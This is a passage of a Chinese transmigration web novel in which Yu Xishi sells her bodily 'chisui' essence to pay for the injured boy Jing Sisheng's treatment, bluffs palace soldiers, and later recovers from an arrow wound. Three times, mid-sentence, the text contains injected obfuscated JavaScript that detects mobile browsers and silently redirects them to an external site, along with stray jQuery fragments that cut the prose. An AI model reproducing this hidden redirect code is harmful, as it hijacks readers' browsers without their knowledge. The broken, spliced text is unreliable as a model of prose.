“我确有所求。”虞戏时让他的手搭在自己的肩上,支撑着他往前走。 景饲生闻言咳了几声,嗓子发干,只是不等他说话,虞戏时倒是自己接了话,“不过现在不是说这些的时候,你省些体力吧。” 他果然没再接话。 两人一路沉默,虞戏时带他入了王都,这个世界没有宵禁,但是王都的守卫仍然严格,好在用于通关以及自证身份的符节这种基本的东西两人还是有的。 一进入王都,便有勤快的车夫上来问话,“小公子,小姑娘,你们要去哪?可有银钱?阿伯可载你们一程。” 好家伙,这个世界居然也有黑车。 虞戏时看看景饲生,景饲生察觉到她的目光,淡淡垂下了眼。 好了,两个人都没钱。 “请问阿伯,这附近哪里有医馆?”虞戏时别的可能不懂,但来到这个世界做任务第一个用的技能便是装天真无辜,所以这项技能还是信手拈来。 她两双亮晶晶的眼睛一眨,老伯瞧着这可爱的模样,便感觉心儿要化了。 “医馆到处都是,”老伯指了个方向,“喏,前头不远处就有家。不过这家医术一般,不然也不会开在这偏僻的地方。你们的长辈呢?两个小孩在外闲逛很危险的。” 说着,老伯压低了声音,“小心被坏人盯上,要了你们的小命。” 景饲生抬眼,看了老伯一眼。 老伯忽然不说话了,不知为何,他感觉有些凉嗖嗖的。 “多谢老伯。”虞戏时笑着道谢,扶着景饲生往医馆的方向走。 医馆的大夫倒是热情,虞戏时讨了碗茶水递给景饲生,景饲生直接喝了三大碗,被大夫要求躺下后,直接睡了过去。 不知是睡是晕。 虞戏时问大夫,“请问赤髓可去哪里卖?” “西市有收赤髓的,小姑娘身上没有银两?那也犯不着拿自己的赤髓换钱。我瞧着你身上披的这件纱衣也可换些钱财。”大夫一边替景饲生看伤,一边打量了虞戏时一番。 “啊?确实如此……”虞戏时倒没想到这一层,主要她不知道这纱衣是障眼法,还是实物,倘若是术法,恐怕卖不了,“那请问哪里可以典卖这件纱衣?” “你不如此时就当作这是银两付给我好了,不然万一你跑了,这位病人的药钱我去哪儿收呢?你放心,你虽年纪小,我也不会坑害你,倘若用不到那么多诊金,我到时再找给你一些银钱。”大夫说着,手上已经开始重新给景饲生包扎伤口,“啧啧啧,上哪搞的这伤,打的人下手可真够重的,再治晚些,小后生这条腿可是要废了。” “多谢大夫,剩下的钱给他买些吃的吧。” 虞戏时说着就去解身上的月光纱。 “哎哎别在这儿脱!”大夫急忙拦住她,指着里屋,“去里面换!小姑娘家家的,怎么这么没羞没臊的。”一边嘀咕着把她推进里屋,“穿得起这种料子的人家,按理说规矩应该更严才是...” 虞戏时站在昏暗的里屋,无奈地叹了口气。她这才想起来,这终究是个古代背景的世界,思想观念可比现代保守多了。 将纱衣抵给大夫后,大夫也已经帮景饲生处理好伤口喂了些药,虞戏时守在床旁,开始昏昏欲睡。 可是还没睡着,大夫就来叫醒了她: “姑娘,你这衣裳是假的呀,那可不行。” 11. 幼(6) 没有办法,第二日一大早,虞戏时就来到了西市,只是随便逛了会,甚至不需要问路人,就找到了挂着“赤髓”二字的摊贩。 虞戏时站在摊贩前的那一刹那,老板瞥了她一眼,便知道了她的来历:“来卖的?” “是。” “多少?” “……” “没卖过?” “没有,今天是第一回。” “谁都有第一回,别紧张。”老板放下手里把玩的物件,打量了虞戏时一番,“年纪这么小。” 虞戏时总觉得这对话有点越来越怪了。 好在下一刻对话正经了起来:“无论小孩还是大人,身上的赤髓都可算作十成。每次最多卖三成,若是抽了三成赤髓出来,都需要养一段时间的身子。最好是卖一成,看你缺不缺钱花了。只不过你年纪不大,你的一成赤髓比起大人份量就没那么足了,所以你的一成赤髓大概可以卖一千两左右。” “好,先卖一成。”一千两!这都能买座宅子了吧?!只不过以防万一,虞戏时还是问了一嘴,“这里一般一个包子卖多少钱?” “一两。咱们这儿的钱都是按‘两’计。最便宜的东西就是一两。”老板双手环胸,“卖不卖?” “…………”忽然觉得这赤髓也没那么值钱了。按现代的算法,一个包子一元,也就是说在这里一两相当于一元,一成赤髓等于一千元。拜托,感个冒都要花两三百!一千够解眼下危难吗?! “卖吧。”没办法。 “行。”老板又打量了虞戏时一番,“你最好还是问问你家长辈。朱砂痣可是很重要的东西。” “有多重要?” “事关清白。”老板两手撑在桌上,盯着虞戏时,“你若真穷得没法子了,不如去永夜城报个名,以后就在永夜城过活,只是那里进去了,一辈子就出不来了。若是你不在永夜城,却没有这颗朱砂痣,难免会污了清名。认为你为了钱财,什么都可以牺牲。而且,消失的朱砂痣会为你一世打上穷人的烙印。日后任谁瞧见你没有了这颗朱砂痣,都会知道你很穷,或者说,你曾经很穷。” “可是,假如我的赤髓是给我的家人的呢?谁能知道我是用去供养家人,还是拿出去卖了?” “一则,赤髓不可直接使用,要炼制成赤髓丹,倘若不炼制,那十成的赤髓,只能发挥一两成的作用,你们没有炼制赤髓丹的技术;二则,退一万步说,就算你有这种技术,但凡有点家底的人,都不愿意去使用自家人的赤髓丹,所以,归根结底还是穷。” “哦。”虞戏时刚才不过是满足一下自己的好奇心,她真正想的是,“穷丢人吗?” “不丢人。”老板翘着二郎腿坐下,“总归穷人都会安慰自己,‘我精神富足’,‘我勤劳努力’,‘我只是运气不好’。” “…………”虞戏时被他惹得笑了一声,“永夜之城里的确许多人是为了钱而留下的,但还有更多人,是为了维系熙国而留下。从他们身体里抽出来赤髓制成的赤髓丹,更多的是交付给了国家的军队,国家的高官,还有贫困的灵力者——让他们能依赖灵力更好的生活。你觉得那些普通人如果尽数从永夜之城里出来,地位更高的是灵力者还是普通人?——哦不,不应该再称之为普通人了,因为在这个世界,他们真的都不普通。” 虞戏时看着老板,“对你这种人而言,只会用贫或富来定义价值,着实可悲。” 老板愣愣地听她说着。听到“着实可悲”四个字时,他才意识到自己居然被一个小孩指着鼻子骂了,他扫了一眼周遭驻足的路人,脸色涨红,“你、你!你还卖不卖了!” 更可悲的是,他被骂了还在惦记着难得的赤髓交易。 卖,当然要卖。但是虞戏时不打算卖给他。可能是因为被他戳中了痛楚的缘故,虞戏时两个世界都是穷人,她受够了穷的苦,没想到第一回在这个世界逛街,还要被一个老板说破防。 好在还击之后,她心里畅快多了。 “卖,但不想卖给你了。”虞戏时说完,就转身离开了小摊。 “别走啊,当我说错话了行不行!” 虞戏时置若罔闻。 只是走出一段距离后,有一位方才围观的路人却跟随了上来。 “小娇客,你要卖赤髓?你难道不知道帝家也有收的?只是价钱低些,但好歹安全可靠。”来人是个中年汉子,腆着微凸的肚皮,两撇黄须翘得像蟋蟀腿,未开口先堆三分笑,当是市井里打滚的老油子。 至于他口中的“帝家”,意思应该是官府正规收购赤髓的机构。 “价钱低些,低多少?”虞戏时一边走着,这大汉也一边跟随着她的脚步,她随口问道。 “你方才问的那个店家出价多少?” “一千两。” “嗐!那他出的价格都够低了,看你年纪小,坑骗你呢!不过也比髓政署出得高一些了,髓政署的话大概能出到八九百两左右。” 虞戏时听着,在脑中打着算盘。 大汉见她不说话,追问道:“怎么样?去髓政署的话,我可以带你去。” 虞戏时看了他一眼。 目光落到他脸上时,他又笑,褶子堆积在眼角,用眼睛询问着同不同意。 当他从怀里掏出一颗糖时,虞戏时加快了脚步:“不必,不必。” “诶诶——你慢些!小娃娃,你一个人在外头走,很危险的!” 虞戏时脚下不停。 危险什么危险,现在危险就在她身边。 可能是碍于西市人多的缘故,这个大汉不敢做太出格的事,虞戏时还能在此处多逛逛。不多时,她便看见一个大型的店铺,铺名唤作:易髓。 她二话不说,走了进去。 店铺是栋三层的木构小楼,里头点着幽幽的檀香,二三层的长廊能够向下看一层的大堂。光线透过竹帘漏进来,在每一层的地上分割出条缕的光影。往来的人瞧起来也有素养得多,看来大多是来买赤髓丹的,她是普通人,瞧不出谁有灵力谁没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15694630|173393||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有,但灵力者却看得出来她的珍贵,有几人多看了她几眼。 柜台旁端坐着一个瞧起来活泼机灵的小哥,看见虞戏时,对她笑了笑。 虞戏时向他走过去。 “敢烦,这里可以卖赤髓吗?”虞戏时还没有柜台高,两首扒住台沿,踮起脚眨巴着大眼。 小哥微微歪头看着只露出一点额头半只眼睛的小女娃,笑眯眯道:“可以,但是需要长辈陪同哦,还需要有能证明亲缘关系的文书。” 正经地方就是麻烦…… 虞戏时做出可怜兮兮的表情,就是一时半会儿挤不出泪来:“我家人生病了,我此来就是为了卖赤髓换钱给家人治病的,他现在无法赶来陪同,我也不想让他知道这件事情,求哥哥通融通融。” “这……可我也不是东家,说了不算。”他为难道。 “求求了,性命攸关,耽误不得。” “你没有旁的长辈了?” “没有了,倘若有的话,我也不必出此下策。”说及家人,虞戏时真心泛起了些酸涩。 她站累了,踮起的脚放了下去,柜台旁只剩她肉肉的几根手指,过了一会儿,手也收了回去。 掌柜的小哥道:“你真决定要卖赤髓了?会很疼。” 柜台旁,那还炸起几根碎发的小脑袋又立马探了出来,露出一双亮晶晶的眼睛:“真的,真要卖。” - 与此同时,一队训练有素的军队正穿过王都繁华的街道。只有长期居住在这里的居民才能看出,这些士兵与平日巡逻的官兵不同。 很快,他们就分成两队:一队在城中展开搜索,声称是既命司在办案;另一队则朝着城门方向前进。 守城的士兵看到他们手中拿着的画像,随口问道:“在找人啊?” 毕竟算是半个同僚,为首的士兵拿出画像递给守城将领看,“是啊,见过这个人没有?” 他其实没抱太大希望,一边问着,一边指挥后面的士兵出城搜寻。 等这队人马刚出城门,守城将领紧锁的眉头才舒展开来:“见过啊,兄弟,我见过。” “什么?你见过?什么时候?在哪里?” “就在昨晚,这个小孩受了伤,和另一个差不多大的小女孩一起进城的。” “他们往哪个方向去了?” “这个倒没注意......” 这时,惯是在周遭等候客人的车夫走上前来:“是不是那两个找大夫的小孩?” 寻人的士兵立即把画像从将领手中拿回来,递给车夫,“这个,你见过?” “对对!就是这两个,长得跟天上的仙童似的,我记得很清楚。” “别废话,他们去哪儿了?” “就在前面那个医馆里——”车夫赶紧在前面带路,将领把出城搜寻的队伍叫回来,跟着车夫的脚步。车夫嘴里还说着,“那个小男孩两条腿都是血,昨晚就已经走不动路了,全靠小女孩扶着,现在肯定还在医馆里治伤呢......” 12. 幼(7) 痛,太痛了。 像有人拿着锤子往她腰骨里钉钉子,钉进去还不算完,还要来回拉扯。虞戏时憋了几息,终于忍不住惨叫出声。 可这折磨最恶心人的地方就在于——不管多痛,就是晕不过去。 “头回最疼,以后就好了。”动手的女人语气软了几分,“赤髓是护体的东西,取完得好好养着。” 虽然灵魂是个成年人,但这具小孩身体实在不顶用。她脑子还能扛,身体却已经抖得跟筛糠似的,后背全湿透了。 施术的是易髓楼的坐堂女大夫,掌柜小哥守在门外。这小哥在楼里说话挺管用,之前搬出东家做借口,无非是看她年纪小,不像能做主的人。 虞戏时费了老大劲解释自己是个成年人,只是暂时用着小孩子的身体。加上她装得可怜,情况又急,小哥这才松口。 但只让取半成赤髓。 其实取赤髓没什么技术含量,但凡有点灵力的修士都能干——当然,这玩意儿必须自愿才能取,算是天地间的平衡法则。 没什么风险,也不会留后遗症,就是会虚几天。体质好的,半天就能活蹦乱跳。 结束后,虞戏时对着镜子照了照,发现后肩那颗红痣消失了。莫名地,她掉了滴眼泪,她茫然拭去,拢了拢衣裳,跟大夫道谢。 掌柜递过来一包沉甸甸的银子:“这样,我派个护卫送你到安全地方。” 虞戏时没逞强:“多谢了。” 一出易髓楼,她就觉得天旋地转。 西市离医馆不远,护卫跟掌柜借了辆马车送她。刚到医馆门口,就见一群官兵把医馆围得水泄不通。 虞戏时心头一紧,本就虚弱的身子差点站不稳。她强撑着走上前。 “就是她!跟画像上小公子一起的丫头!”车夫从官兵堆里探出头,指着她喊。 护卫上前一步:“几位官爷,这是?” 官兵瞥他一眼:“你是何人?” “这位姑娘在我们铺子换了东西,掌柜让我护送。” “闲杂人等滚远点!”官兵亮出令牌,护卫立马闭嘴。他的任务就是确保虞戏时路上不被抢,现在面对王宫官兵,既不用担心被抢,也不敢多管闲事。 “我在这儿看病,你们拦我干什么?”虞戏时只想知道景饲生怎么样了。官兵还在,说明人应该还没被带走。 “我们正想问你,和你一起的那个小公子去了哪里?”为首的官兵低眼睨着她,神情凶恶,瞧起来便知耐心有限。 “什么公子?”虞戏时在脑中思索着对策。 “还要装糊涂!”官兵的确耐心有限,直接对身后一人使了眼色,那人上前将虞戏时抓住。 虞戏时尚且还浑身疼着,被这么用力一抓,险些跪倒在地,“你们到底想干什么?” “你年纪尚小,我本不想为难你,但若是你包庇那位小公子,就是为难我们了。你可知后果?”官兵喝着,唾沫喷了虞戏时一脸,虞戏时眯眯眼。 既然他们在此,那肯定已经搜过医馆了,还问她要去处,定然是景饲生已经跑了。 就是不知道他拖着条伤腿,能跑去哪。 现在该轮到她脱身了。 “你过来些,我低声告诉你。”虞戏时道。 她毫无灵力傍身,任何一个灵力者都看得出来,只是官兵仍有防备,“有话直说,在场的没一个不能听。” 他说完这句话,身后的一名官兵就一脚将那唯一的外人——报信的车夫踹开,附带了些灵力,那车夫直接滚出一两丈远,摔得龇牙咧嘴,却又不敢出声叫苦。 虞戏时抿抿唇,道:“我奉熙王之命,带小公子回宫。你们也知道,倘若小公子真的不愿意回宫,你们再强悍,也只能将一具尸体带回去,届时你们可承担不了这个责任。所以熙王命我找到他,想办法劝他回宫。我本不想暴露身份……” 官兵们面面相觑。他们确实是奉熙王之命出来找人的,但没人知道具体原因。现在这小姑娘似乎知道得比他们还多,一时有点拿不准。 “如何证明?” “这还要证明?要是假的,你们随时能抓我。王都都被你们围成铁桶了,我能跑哪去?再说了,我这点本事,你们还看不出来吗?"虞戏时故作镇定,“你们自己想想,我说的是不是这个理?” 官兵面面相觑,怀疑仍在,只是不敢将虞戏时抓去见王帝。因为假如她说的是真的,便耽误了她完成任务;如果说的是假的,一群大老爷们被小女娃耍得团团转,多荒谬。 “反正你们要抓的人也不是我,尽快将我放掉。这两日不要干涉我和他之间的事情,我自有办法将他带回宫去。倘若等会被他发现我和你们待在一处,只怕心有疑虑,不会再信我。” 毕竟现在景饲生肯定已经知道官兵在搜寻他的踪迹,如果看见虞戏时和官兵待在一起,就算不会将她当成和官兵一伙的,也会想官兵怎会轻易将她放掉,是不是和官兵达成了什么交易。 官兵的确不是在找她,就算将她抓起来,官兵们也不认为景饲生一个6岁的孩子,会为了救她而现身屈服。 与此同时,一墙之隔的狭小空间中,景饲生将所有的话尽收耳中。 这家临近王都城门的医馆,不知道接待了多少逃命的人,大夫既为了病患不被抓走,诊费能有着落,又为了自己的医馆不受牵连,故此造了这么一个暗室,就在两墙的夹角中,恰巧能站下一个人,又不至于因为墙太厚太空而被怀疑。 他垂着眼,手抓住衣摆。诸多情绪忍了又忍,胸腔里翻腾着一团火,憋屈得无法下咽。最后只能闭上眼睛,吐出一口气稍作缓解。 外面,领头的官兵摆摆手:“放她走。” 虞戏时挣脱开来,腰上的伤让她直接瘫坐在地上。官兵们收队时意味深长地看了她一眼,这才撤走。 她咬牙爬起来,攥紧钱袋冲进医馆。大夫淡定地从药柜后面抬头。 虞戏时上前打开钱袋:“诊费多少?” “一千两。” “一千两?!” “已经算便宜了。”诊金、伙食、藏人的风险...... “我只有八百两。”虽然只卖了半成赤髓,但易髓楼给的价格还算公道——也可能是第一个商贩压价太狠。 “八百就八百吧,看你也不容易。”大夫接过钱袋,“你脸色怎么这么差?” “没事。他人呢?” 大夫往墙角使了个眼色,一扇隐蔽的小门缓缓打开。景饲生拄着临时做的拐杖走出来。 虞戏时看着他,他情绪淡淡,脸色太过苍白,连嘴唇都失了血色。棱角分明的脸并不锐利,相反有种脆弱的清冷。额前碎发丝缕贴在面颊,不知道是不是疼的缘故,额角有些细密的汗。 他好像没什么话想说。 人在就好。虞戏时心里的石头落地,走上前去,“吓坏我了,我真怕……” “怕什么?”景饲生抬眼,虞戏时同样憔悴的脸色就映入他的眼中,他眸光一凝,不由地将她全身打量一番。 虞戏时当真是松了口气,站起身来,给自己倒杯茶喝,“没事,你没事就好。” 景饲生的目光随着她抬起,目光扫过她右肩时,眼中闪过一丝惊疑。 虞戏时喝了一大杯茶,转过身来,“我身上就八百两,刚才全付了诊费,现在该考虑晚上去哪里歇息了。” 不远处的大夫还在称药材,闻言“嗐”了一声,“今晚就在里屋睡吧,就当我日行一善,收留你们多住一晚。” 虞戏时笑了:“多谢大夫了。” 大夫摆摆手,走到医馆后的院子里去忙了。 景饲生盯着虞戏时:“哪里来的钱?” “啊?我……我……”原本接近景饲生,想的便是“规则之下,必有漏洞”,离惘要她利用景饲生年幼,欺骗他的信任,那她就非要真诚相待,于是此时想要脱口而出的谎话,便噎在了喉咙里。 不知道是不是病弱的缘故,虞戏时发觉景饲生的眼眶有些泛红。 “哪里来的钱?”他又问了一遍。 语气并非质询与逼问,只是像带着答案问问题。 虞戏时沉默。 景饲生:“我不明白。” “什么?” 这回,却轮到景饲生话梗在了喉头。他不明白,她明明是利用,是欺骗,是带有目的的靠近,又为何要用朱砂痣、用赤髓,去换他的诊费。 他也难过,他还不起,他变得被动,他没资格再追问救命恩人。 问她为何如此。 茶水已经凉了,杯壁上凝着水珠。虞戏时用指腹抹开一片水雾,听见景饲生的问题第三遍重复:“钱哪来的。” 常言道,事不过三。虞戏时自然可以继续沉默,但她的目的,是获得景饲生的信任。 “卖了傍身之物。”虞戏时道。 他垂着眼睛,声音压得又低又平:“取了多少赤髓?” 的确,事不过三。给了三次机会,那么他就该直接说出答案。 第一次见面,他便看见了她肩头的红痣。今日带着钱回来,她那颗痣已经没有了。 景饲生不是傻子。 “……”虞戏时不知道他从哪儿看出来的,承认道,“半成。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15694631|173393||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 景饲生别过脸看向窗外。 ——这也是计划的一部分?只是朱砂痣可以幻化出来,但只要用灵力一探,便知赤髓是否曾被取出过,只要曾经被取出,就算恢复得再好,也能够被探出来。 虞戏时扶着景饲生求医的一路,景饲生从未对虞戏时使用过灵力。 所以,他分不清了。 这究竟是一场苦肉计,让他自己发现她的付出,心甘情愿和她回宫;还是说,她就因为这样一场有目的的相处,真的干了这样的傻事。 虞戏时不知道他心里已经想了多少,察觉到他心里不是滋味,宽慰道:“不碍事。” “也不知道你哪里来的这股子天不怕地不怕的狠劲。”景饲生如是说。 虞戏时诧异,又反应过来,在景饲生眼中,她也不过才6岁,就敢孤身跑到野外去,还将他救下,月影重重,扶着他这个将死之人求医,再卖赤髓,唬官兵…… 虞戏时笑了。 “为什么?”他嗓子哑得厉害。 虞戏时望着窗外渐暗的天光。为什么?她自己也不确定。没人要求她做到这种程度,取赤髓是真疼。真心想救景饲生?也有些荒谬。 “就当我押注在你身上,”她试着让语气轻松些,“等你日后……” “你没想骗我,那就直接跟我说实话。”景饲生打断她。 虞戏时一怔,意识到方才景饲生一直躲在墙角暗室里,与她应该说是半墙之隔,她与官兵的对话应当全部听见了。 “你听我说。” “嗯,你说。”景饲生静静地看着她。 没想到景饲生真能这么认真地等着她解释,倒给她整不会了,她看着景饲生安静凝视的眉眼,干咳了两声,“你信不信这个世界有神明?”还是时间之神。 景饲生目光暗了暗。 ——好了,这下解释还不如不解释了。 于是虞戏时转了话锋,“我说出来,你可能不信。救你是机缘巧合,至于方才和官兵说的那些话,是为了脱身。” 至于怎么知道是熙王在找景饲生的? 官兵会因为这个问题相信她,景饲生就会因为这个问题而怀疑她。 谎话无法尽圆。 “如果是你想的,我可以去宫中。”景饲生的声音落在耳中。 虞戏时心跳漏了一拍,星点酸涩就从这空隙里钻了进来。她道:“如果你不想……” 就可以不去? 不行,因为这是原定的剧情,这是她要修复的部分,这是作者为他安排的命运。 去了之后会怎么样? “一纸密令,你就可以把我送去那虎狼之地。”——阿四的这句话又响在耳边。 虞戏时看着眼前的景饲生,他眼中是难言的难过与失落,像冬日的清溪,清澈也蒙着一层干净的薄冰。他像阿四,说话时总给人一种距离感;却又一点也不像阿四,因为阿四是被打磨过的利刃,不会成为谁的附属,敏感多疑也聪明;眼前的景饲生,是未开刃的神器,懵懵懂懂,只要一点甜头,就能轻易被握在手中,往你指着的地方去,他还是聪明,但不会算计。 她不知道为什么,总感觉眼前坐着的这个少年,不像6岁的心性。 “去宫中吧,你一个人在外头,活不下去的。去了王宫,为自己谋一条出路。”虞戏时终是道。 【穿越者,您的上一个任务——留在景饲生身边,已经完成。当前支线剧情并没有完美通过,获得的景饲生信任值较少,当前信任值为:20%。由于信任值太低,变数太多,所以支线任务提前结束。不过别灰心,总比没有好。现在将回到主线,下一个任务,使景饲生信任值达到百分之九十以上。】 主脑的声音出现得突然,发现时空漩涡开启,虞戏时感到一阵慌乱不安。一些片段——不知道是不是此后将会发生的事情加速在她眼前出现—— 熙王的唉声叹气;熙王妃的得意洋洋;年迈的史官颤抖着手提笔……还有一个笑容温暖的小男孩追着同样年幼的景饲生唤“阿兄”。 “阿兄,别怕。” 这些场景太快太快,虞戏时看不清楚。但她能感觉到,任由画面闪现,她现在仍然坐在景饲生身前,由他细细凝视。 “去王宫,为自己谋一条出路。”她不知道这是对是错,她只知道,想让景饲生活下去。 漩涡即将收拢,交错的光影间,虞戏时只听见一道委屈的声音。 “我只是…想听一句实话而已。” 可虞戏时也只能留下一句与方存如出一辙的话来:“好好活下去,下次见……” 又是不一样的光景。 13. 655 长宁655年,方存府邸。 虞戏时中箭昏迷,景饲生抬眼望向方存。 方存手中的弓箭消散,他冷哼一声坐下,道:“不用谢。” 景饲生眉头紧锁,脑中刺痛,零碎的记忆翻涌而上—— 幼时救他的少女,那双亮晶晶的眼睛,以及她以赤髓换钱为他治病的过往,不合时宜地浮现。 他目光下滑,只能看见怀中少女丝丝翘起的发末。 “我为何要谢你?”景饲生抬手,环抱住她,另一只手握住箭杆,指节一折,箭身断裂,箭头仍留在她体内。而后,他将她打横抱起。 “你什么意思?!”方存猛地起身,盯着他的动作,“方才看你们的神情,她分明不知道质子与奶娘的事,你不是要杀她吗?” 景饲生脚步一停,语气里有些难以名状的情绪,是失望,却又被掩饰住,“我知道你的心思。你明明知道我见既命司那位大人时,刻意让她回避,她根本不知道我的身份以及质子奶娘的事情。你假装不知道我和她陌生的关系,在她面前说出这些秘密,然后射杀她,是为了让我不救她。你到底有怎样的谋算,不如直接说出来?好过由我揭穿来得难堪。” 方存看着景饲生的背影。 方存没有再否认,因为没有意义,“听着——让她假扮质子,死在半路,伏国必先查证死因,至少拖延半年。而你这半年,既可暗中搜寻真质子,又能借‘质子已死’暂避熙王追责。待真质子找到,你只需对外宣称‘此女冒名顶替,意图祸乱两国’,便能洗脱欺君之嫌!两全之策,有何犹豫?不,应该说是三全——拖延的时间里,为保万无一失,还能为熙国备战争取时间!” 毕竟质子亦是无灵者,虞戏时幻成质子模样,再好不过——从看见她的第一眼,方存就起了这样的心思。 景饲生没有再说话,抱着虞戏时抬腿便走。 “景饲生!”方存怒喝,“你给我站住!” 景饲生越走越远,寒致从一旁内室中走出来,饶有兴致道:“有趣啊。方大人,你到底也才养了他五年,他不爱搭理你,也合乎常理。” 方存听了这句嘲讽,气得别开头去,整张脸被气血涨得通红。“哼。那又如何?大不了除之后快。” “方大人这么狠心?” “是我狠心,还是他狠心!” 寒致摸了摸下巴,“若是他狠心,他大可不顾王嗣,任由王嗣死也好活也好,在熙国也好在伏地也罢;也大可任由今日这女子听天由命。正因为有感情……” “就你会说!”方存打断他,“你这么会说,战场上怎么被伏国的独眼罗骂得狗血淋头?!” “戚。”寒致撇撇嘴,“不过是因为你觉得养过他,他就应该一直把你当成最重要的人,如今与期望有偏差,你便恼羞成怒。要我说,这景公子生得俊俏又聪慧卓绝,喂几年饭就能让这样一个人唯命是从,换我我也干,别说几年饭,一辈子也养得。” 方存气得一口气险些别过去,但可能是嗓音温润的缘故,生起气来像是小发雷霆,“你少在这里说风凉话!若非我提醒你,你早就被这小崽子糊弄地去找质子了!现在知道了吧,他根本不是奉熙王之命,而是私自带质子归国!” “什么叫糊弄?”寒致脸色变了变,还要维持着面子,“不管怎么样,质子也要找到。” “如今熙王的身体你比我更清楚,”方存看向寒致,“倘若他知晓了此事,伏王再派兵来犯,只怕会使得熙王病情更重。为今尚有一计,待找到质子后,杀掉景饲生,就说是景饲生挟持质子回国,如今已经得到惩罚,将景饲生的项上人头与质子,一并送回伏国!毕竟‘罪魁祸首’已伏诛,他再动兵,便是师出无名!景饲生的母亲本就是伏国人,他为了伏熙二国而死,怎么不算落叶归根?或许这也是熙王最初派他随王嗣为质的原由。” 寒致两手交叠在身前,摩挲着手背,“方知县,为何如此怕伏国来犯?熙王虽病重,但国力强盛为三国之首,民心所向亦在熙州。一个质子而已,伏王发怒也算不得什么。你又怎知,质子回国,不可振奋熙军军心?” “我跟你这个有勇无谋的莽夫说不清楚。”方存不想理他,“你若不杀景饲生,我自会派人去。” 有勇无谋?寒致反唇相讥:“方知县,你手下那些人,抓根棍子敲鸡都费劲,能杀景饲生?” “你——!” - 虞戏时醒来时,发现自己正躺在一张硬板床上,后背传来的痛楚让她怀疑自己是否已经从“插叙剧情段”中脱离,回到主线。这是取赤髓的痛,还是中箭的痛? 待到意识回拢,她便知道这是中箭的痛了——取赤髓比这痛十倍有余。鼻子里充斥着草药的味道,隐约听见一阵抖药篓的声音,屋中明亮,简陋的屋子木门大敞,天光倾泻进来,明显已经不在方存府邸之中。 她吃力地撑身坐起,床榻边就有一张桌案,残缺的桌子干净整洁,上头摆着一杯水,想来是为她准备的。 虞戏时喝完了水,下床循声往后院而去——那阵抖药篓的声音早就消失了,不过声音是从后院发出的,这屋子的主人应该还没走。 果然,刚一打开屋子的后门,便见一个将头发简单扎起的姑娘正在晒草药,闻声抬头向虞戏时看来:“你醒啦?” “嗯。”虞戏时微笑颔首。 这姑娘生的可爱,笑起来也甜美,将手往身上的围腰上擦了擦,“我唤作明月,并不精通医术,只是知晓些药理。你可还有哪里不适?” 虞戏时摇摇头:“除了还有些疼,旁的没什么。只是……” “疼正常。”明月笑,“你是想问送你来的那位公子?” “是。”虞戏时点点头。 “他将你送来,留了些银两便离开了。走时说过,不会再回来,让你‘生死有命,富贵在天’呢。” “…………”好一个生死有命,富贵在天。虞戏时不必问,也知道景饲生没有说会去哪里。 好在,她猜得到。 景饲生要找一家人——现在知道并非是一家人,而是奶娘与质子,另外一个男人或许是奶娘的夫君,也或许是护卫。虞戏时在向景饲生描述那孩子以及夫人的特征时,景饲生明显将一切对上了号,与虞戏时达成交易——带她去见既命司的大人,而她则为景饲生提供这三人的线索。 说明,这三人大概率就是景饲生要找的人。 那么,只需要找到质子与奶娘以及那个男人的踪迹,就能找到景饲生。 耳边突然响起一个声音:“虞戏时。” 虞戏时吓了一跳,便见离惘隐匿着身形站在她的身边。 “你别老吓我。”虞戏时不满道。 明月听见她的话,不解道:“你说什么?” 虞戏时挤出一个笑:“没什么。” 明月懵懂地“哦”了声,继续低头晒着草药,一边嘴里嘀咕不停地说着接下来的安排。虞戏时则趁着这个机会,压低声音咬牙切齿道:“换个出场方式。” “的确得换。”离惘说,“我是神,你们应当跪地迎接。” 天老爷。 虞戏时扶额 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15694632|173393||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 便见离惘果然消失了,片刻,屋外有人叫门:“有人在吗?” 明月一愣,慌忙穿过屋子去开门:“谁呀?” 离惘走进来时,明月愣愣地盯着他,嘀咕道:“这两日是怎么了……来的男人都生得神仙下凡一般,莫不是我走什么桃花运了?” 只是见过景饲生的面容,明月就对离惘的脸有了些免疫的能力,笑问:“公子,请问是要看病还是借宿?” “我是神,不需要看病。”离惘说着,从门外走了进来。 “…………”虞戏时险些一趔趄。 明月大惊失色:“你说什么……” 虞戏时慌忙找补:“他应该是来看脑子的,我以前见过这种人,因为穷惯了,就幻想自己是神仙。” 离惘扫了她一眼,没说话。明月呆呆的:“哦……可我不大会治脑子。可惜了,生得俊俏,却脑子有病。” “……”屋子内一时静谧,虞戏时先挤出一个笑来,“无妨,他是我朋友,你可先去忙,等会我就会离开。” “离开?你要去哪?可是也要去柳城?”明月慌忙问。 虞戏时看了离惘一眼,“不是,我要去找送我来的那个朋友。” “哦,”明月显得有些失落,“我还以为能同路,还很高兴呢。既然不同路,那你们就先自便吧。” 